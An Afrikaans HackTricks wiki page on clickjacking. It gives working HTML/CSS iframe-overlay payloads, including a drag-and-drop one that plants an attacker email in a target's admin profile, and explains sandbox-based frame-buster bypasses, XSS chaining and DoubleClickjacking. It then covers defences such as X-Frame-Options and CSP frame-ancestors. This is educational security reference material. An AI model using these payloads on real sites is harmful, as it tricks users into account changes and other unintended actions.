Clickjacking

Reading time: 8 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Wat is Clickjacking

In 'n clickjacking-aanval word 'n gebruiker mislei om op 'n element op 'n webblad te klik wat ofwel on sigbaar is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van akredensiale of sensitiewe inligting, geldtransfers, of die aanlyn aankoop van produkte.

Prepopulate forms trick

Soms is dit moontlik om die waarde van velde van 'n vorm te vul met GET parameters wanneer 'n bladsy gelaai word. 'n Aanvaller kan hierdie gedrag misbruik om 'n vorm met arbitrêre data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Indien druk.

Vul vorm met Drag&Drop

As jy die gebruiker nodig het om 'n vorm te vul maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy ken) skryf nie, kan jy hom net vra om iets te Drag&Drop wat jou beheerde data sal skryf soos in hierdie voorbeeld.

Basiese Payload

css
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Meervoudige Laaiers

css
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Sleep&Sleep + Klik payload

css
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

As jy 'n XSS-aanval geïdentifiseer het wat 'n gebruiker vereis om op 'n element te klik om die XSS te aktiveer en die bladsy is kwulnerabel vir clickjacking, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.
Voorbeeld:
Jy het 'n self XSS in sommige privaat besonderhede van die rekening gevind (besonderhede wat slegs jy kan stel en lees). Die bladsy met die vorm om hierdie besonderhede in te stel is kwulnerabel vir Clickjacking en jy kan die vorm met die GET parameters vooraf vul.
'n Aanvaller kan 'n Clickjacking aanval voorberei op daardie bladsy deur die vorm met die XSS payload te vooraf vul en die gebruiker te mislei om die vorm te indien. So, wanneer die vorm ingedien word en die waardes gewysig word, sal die gebruiker die XSS uitvoer.

DoubleClickjacking

Eerstens verduidelik in hierdie pos, hierdie tegniek sou die slagoffer vra om dubbel op 'n knoppie van 'n pasgemaakte bladsy te klik wat op 'n spesifieke plek geplaas is, en die tydsverskille tussen mousedown en onclick gebeurtenisse te gebruik om die slagofferbladsy te laai tydens die dubbelklik sodat die slagoffer werklik op 'n regte knoppie in die slagofferbladsy klik.

'n Voorbeeld kan in hierdie video gesien word: https://www.youtube.com/watch?v=4rGvRRMrD18

warning

Hierdie tegniek laat toe om die gebruiker te mislei om op 1 plek in die slagofferbladsy te klik en elke beskerming teen clickjacking te omseil. So die aanvaller moet sensitiewe aksies vind wat met net 1 klik gedoen kan word, soos OAuth prompts wat toestemmings aanvaar.

Strategies to Mitigate Clickjacking

Client-Side Defenses

Scripts wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacking te voorkom:

  • Verseker dat die toepassingsvenster die hoof- of boonste venster is.
  • Maak alle rame sigbaar.
  • Voorkom kliks op onsigbare rame.
  • Detecteer en waarsku gebruikers oor potensiële Clickjacking pogings.

Egter, hierdie frame-busting scripts kan omseil word:

  • Browers se Sekuriteitsinstellings: Sommige blaaiers mag hierdie scripts blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
  • HTML5 iframe sandbox Attribuut: 'n Aanvaller kan frame buster scripts neutraliseer deur die sandbox attribuut met allow-forms of allow-scripts waardes te stel sonder allow-top-navigation. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms en allow-scripts waardes stel aksies binne die iframe in terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos allow-same-origin en allow-modals nodig wees, afhangende van die tipe aanval. Bladsy-konsolboodskappe kan lei oor watter toestemmings toegestaan moet word.

Bediener-kant Verdedigings

X-Frame-Options

Die X-Frame-Options HTTP antwoordkop informeer blaaiers oor die wettigheid van die weergawe van 'n bladsy in 'n <frame> of <iframe>, wat help om Clickjacking te voorkom:

  • X-Frame-Options: deny - Geen domein kan die inhoud raam.
  • X-Frame-Options: sameorigin - Slegs die huidige webwerf kan die inhoud raam.
  • X-Frame-Options: allow-from https://trusted.com - Slegs die gespesifiseerde 'uri' kan die bladsy raam.
  • Let op die beperkings: as die blaier hierdie riglyn nie ondersteun nie, mag dit nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors riglyn.

Inhoudsekuriteitsbeleid (CSP) frame-ancestors riglyn

frame-ancestors riglyn in CSP is die aanbevole metode vir Clickjacking beskerming:

  • frame-ancestors 'none' - Soortgelyk aan X-Frame-Options: deny.
  • frame-ancestors 'self' - Soortgelyk aan X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Soortgelyk aan X-Frame-Options: allow-from.

Byvoorbeeld, die volgende CSP laat slegs raamwerk toe vanaf dieselfde domein:

Content-Security-Policy: frame-ancestors 'self';

Verder besonderhede en komplekse voorbeelde kan gevind word in die frame-ancestors CSP dokumentasie en Mozilla se CSP frame-ancestors dokumentasie.

Inhoudsekuriteitsbeleid (CSP) met child-src en frame-src

Inhoudsekuriteitsbeleid (CSP) is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier mag toelaat om inhoud te laai.

frame-src Riglyn

  • Definieer geldige bronne vir rame.
  • Meer spesifiek as die default-src riglyn.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Hierdie beleid laat rame van dieselfde oorsprong (self) en https://trusted-website.com toe.

child-src Direktief

  • Ingevoerd in CSP vlak 2 om geldige bronne vir webwerkers en rame in te stel.
  • Dien as 'n terugval vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Hierdie beleid laat rame en werkers van dieselfde oorsprong (self) en https://trusted-website.com toe.

Gebruiknotas:

  • Aftrekking: child-src word geleidelik uitgefaseer ten gunste van frame-src en worker-src.
  • Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As albei afwesig is, word default-src gebruik.
  • Streng Bron Definisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.

JavaScript Raam-Breek Skripte

Alhoewel dit nie heeltemal foutloos is nie, kan JavaScript-gebaseerde raam-busting skripte gebruik word om te voorkom dat 'n webblad in 'n raam geplaas word. Voorbeeld:

javascript
if (top !== self) {
top.location = self.location
}

Die Gebruik van Anti-CSRF Tokens

  • Token Validasie: Gebruik anti-CSRF tokens in webtoepassings om te verseker dat statusveranderende versoeke doelbewus deur die gebruiker gemaak word en nie deur 'n Clickjacked bladsy nie.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks